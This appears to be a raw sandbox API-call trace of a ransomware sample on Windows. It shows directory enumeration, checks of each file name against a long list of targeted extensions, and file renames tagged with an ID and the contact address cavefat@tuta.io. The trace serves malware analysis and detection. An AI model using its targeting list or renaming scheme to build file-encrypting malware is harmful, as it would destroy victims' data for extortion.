dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0165.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0165.496] lstrlenW (lpString=".doc") returned 4 [0165.496] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.496] lstrlenW (lpString=".docx") returned 5 [0165.496] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.496] lstrlenW (lpString=".pdf") returned 4 [0165.496] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.496] lstrlenW (lpString=".xls") returned 4 [0165.496] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.496] lstrlenW (lpString=".xlsx") returned 5 [0165.496] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.496] lstrlenW (lpString=".ppt") returned 4 [0165.496] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0165.496] lstrlenW (lpString=".zip") returned 4 [0165.496] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.496] lstrlenW (lpString=".rar") returned 4 [0165.496] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.497] lstrlenW (lpString=".bz2") returned 4 [0165.497] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.497] lstrlenW (lpString=".7z") returned 3 [0165.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0165.497] lstrlenW (lpString=".dbf") returned 4 [0165.497] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0165.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 Thread: id = 289 os_tid = 0x1344 [0147.772] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3720940 [0147.772] lstrlenW (lpString="C:") returned 2 [0147.772] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77520000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6caed8 [0147.772] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0147.772] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0147.772] lstrlenW (lpString="$GetCurrent") returned 11 [0147.772] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0147.772] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3730948 [0147.772] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0147.772] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6cad98 [0147.780] FindNextFileW (in: hFindFile=0x6cad98, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0147.780] FindNextFileW (in: hFindFile=0x6cad98, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0147.780] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0147.780] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0147.780] lstrlenW (lpString="Logs") returned 4 [0147.780] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0147.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3790978 [0147.781] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0147.781] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cb118 [0147.792] FindNextFileW (in: hFindFile=0x6cb118, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.802] FindNextFileW (in: hFindFile=0x6cb118, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0147.802] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0147.802] lstrlenW (lpString=".1cd") returned 4 [0147.802] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".3ds") returned 4 [0147.802] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".3fr") returned 4 [0147.802] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".3g2") returned 4 [0147.802] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".3gp") returned 4 [0147.802] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".7z") returned 3 [0147.802] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.802] lstrlenW (lpString=".accda") returned 6 [0147.802] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".accdb") returned 6 [0147.802] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".accdc") returned 6 [0147.802] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".accde") returned 6 [0147.802] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".accdt") returned 6 [0147.802] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".accdw") returned 6 [0147.802] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0147.802] lstrlenW (lpString=".adb") returned 4 [0147.802] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".adp") returned 4 [0147.802] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".ai") returned 3 [0147.802] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0147.802] lstrlenW (lpString=".ai3") returned 4 [0147.802] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".ai4") returned 4 [0147.802] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".ai5") returned 4 [0147.802] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".ai6") returned 4 [0147.802] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0147.802] lstrlenW (lpString=".ai7") returned 4 [0147.802] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".ai8") returned 4 [0147.803] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".anim") returned 5 [0147.803] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0147.803] lstrlenW (lpString=".arw") returned 4 [0147.803] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".as") returned 3 [0147.803] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0147.803] lstrlenW (lpString=".asa") returned 4 [0147.803] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".asc") returned 4 [0147.803] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".ascx") returned 5 [0147.803] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0147.803] lstrlenW (lpString=".asm") returned 4 [0147.803] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".asmx") returned 5 [0147.803] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0147.803] lstrlenW (lpString=".asp") returned 4 [0147.803] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".aspx") returned 5 [0147.803] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0147.803] lstrlenW (lpString=".asr") returned 4 [0147.803] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".asx") returned 4 [0147.803] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".avi") returned 4 [0147.803] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".avs") returned 4 [0147.803] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".backup") returned 7 [0147.803] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0147.803] lstrlenW (lpString=".bak") returned 4 [0147.803] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".bay") returned 4 [0147.803] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".bd") returned 3 [0147.803] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0147.803] lstrlenW (lpString=".bin") returned 4 [0147.803] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".bmp") returned 4 [0147.803] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".bz2") returned 4 [0147.803] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".c") returned 2 [0147.803] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0147.803] lstrlenW (lpString=".cdr") returned 4 [0147.803] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".cer") returned 4 [0147.803] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0147.803] lstrlenW (lpString=".cf") returned 3 [0147.803] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0147.803] lstrlenW (lpString=".cfc") returned 4 [0147.803] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cfm") returned 4 [0147.804] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cfml") returned 5 [0147.804] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0147.804] lstrlenW (lpString=".cfu") returned 4 [0147.804] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".chm") returned 4 [0147.804] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cin") returned 4 [0147.804] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".class") returned 6 [0147.804] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0147.804] lstrlenW (lpString=".clx") returned 4 [0147.804] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".config") returned 7 [0147.804] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0147.804] lstrlenW (lpString=".cpp") returned 4 [0147.804] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cr2") returned 4 [0147.804] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".crt") returned 4 [0147.804] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".crw") returned 4 [0147.804] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cs") returned 3 [0147.804] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0147.804] lstrlenW (lpString=".css") returned 4 [0147.804] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".csv") returned 4 [0147.804] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".cub") returned 4 [0147.804] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dae") returned 4 [0147.804] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dat") returned 4 [0147.804] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".db") returned 3 [0147.804] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0147.804] lstrlenW (lpString=".dbf") returned 4 [0147.804] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dbx") returned 4 [0147.804] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dc3") returned 4 [0147.804] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dcm") returned 4 [0147.804] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dcr") returned 4 [0147.804] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".der") returned 4 [0147.804] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dib") returned 4 [0147.804] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0147.804] lstrlenW (lpString=".dic") returned 4 [0147.805] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dif") returned 4 [0147.805] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".divx") returned 5 [0147.805] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".djvu") returned 5 [0147.805] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".dng") returned 4 [0147.805] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".doc") returned 4 [0147.805] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".docm") returned 5 [0147.805] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".docx") returned 5 [0147.805] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".dot") returned 4 [0147.805] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dotm") returned 5 [0147.805] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".dotx") returned 5 [0147.805] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0147.805] lstrlenW (lpString=".dpx") returned 4 [0147.805] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dqy") returned 4 [0147.805] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dsn") returned 4 [0147.805] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dt") returned 3 [0147.805] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0147.805] lstrlenW (lpString=".dtd") returned 4 [0147.805] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dwg") returned 4 [0147.805] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0147.805] lstrlenW (lpString=".dwt") returned 4 [0147.806] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".dx") returned 3 [0147.806] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0147.806] lstrlenW (lpString=".dxf") returned 4 [0147.806] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".edml") returned 5 [0147.806] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0147.806] lstrlenW (lpString=".efd") returned 4 [0147.806] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".elf") returned 4 [0147.806] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".emf") returned 4 [0147.806] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".emz") returned 4 [0147.806] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".epf") returned 4 [0147.806] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".eps") returned 4 [0147.806] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".epsf") returned 5 [0147.806] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0147.806] lstrlenW (lpString=".epsp") returned 5 [0147.806] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0147.806] lstrlenW (lpString=".erf") returned 4 [0147.806] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".exr") returned 4 [0147.806] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".f4v") returned 4 [0147.806] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".fido") returned 5 [0147.806] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0147.806] lstrlenW (lpString=".flm") returned 4 [0147.806] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".flv") returned 4 [0147.806] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".frm") returned 4 [0147.806] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".fxg") returned 4 [0147.806] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".geo") returned 4 [0147.806] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".gif") returned 4 [0147.806] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".grs") returned 4 [0147.806] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".gz") returned 3 [0147.806] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0147.806] lstrlenW (lpString=".h") returned 2 [0147.806] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0147.806] lstrlenW (lpString=".hdr") returned 4 [0147.806] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".hpp") returned 4 [0147.806] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0147.806] lstrlenW (lpString=".hta") returned 4 [0147.807] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".htc") returned 4 [0147.807] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".htm") returned 4 [0147.807] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".html") returned 5 [0147.807] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0147.807] lstrlenW (lpString=".icb") returned 4 [0147.807] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".ics") returned 4 [0147.807] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".iff") returned 4 [0147.807] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".inc") returned 4 [0147.807] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".indd") returned 5 [0147.807] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0147.807] lstrlenW (lpString=".ini") returned 4 [0147.807] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".iqy") returned 4 [0147.807] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".j2c") returned 4 [0147.807] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".j2k") returned 4 [0147.807] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".java") returned 5 [0147.807] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0147.807] lstrlenW (lpString=".jp2") returned 4 [0147.807] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".jpc") returned 4 [0147.807] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".jpe") returned 4 [0147.807] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".jpeg") returned 5 [0147.807] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0147.807] lstrlenW (lpString=".jpf") returned 4 [0147.807] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".jpg") returned 4 [0147.807] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".jpx") returned 4 [0147.807] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".js") returned 3 [0147.807] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0147.807] lstrlenW (lpString=".jsf") returned 4 [0147.807] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".json") returned 5 [0147.807] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0147.807] lstrlenW (lpString=".jsp") returned 4 [0147.807] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".kdc") returned 4 [0147.807] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0147.807] lstrlenW (lpString=".kmz") returned 4 [0147.807] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".kwm") returned 4 [0147.808] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".lasso") returned 6 [0147.808] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0147.808] lstrlenW (lpString=".lbi") returned 4 [0147.808] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".lgf") returned 4 [0147.808] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".lgp") returned 4 [0147.808] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".log") returned 4 [0147.808] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0147.808] FindNextFileW (in: hFindFile=0x6cb118, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0147.808] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0147.808] lstrlenW (lpString=".1cd") returned 4 [0147.808] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".3ds") returned 4 [0147.808] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".3fr") returned 4 [0147.808] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".3g2") returned 4 [0147.808] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".3gp") returned 4 [0147.808] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".7z") returned 3 [0147.808] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.808] lstrlenW (lpString=".accda") returned 6 [0147.808] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".accdb") returned 6 [0147.808] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".accdc") returned 6 [0147.808] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".accde") returned 6 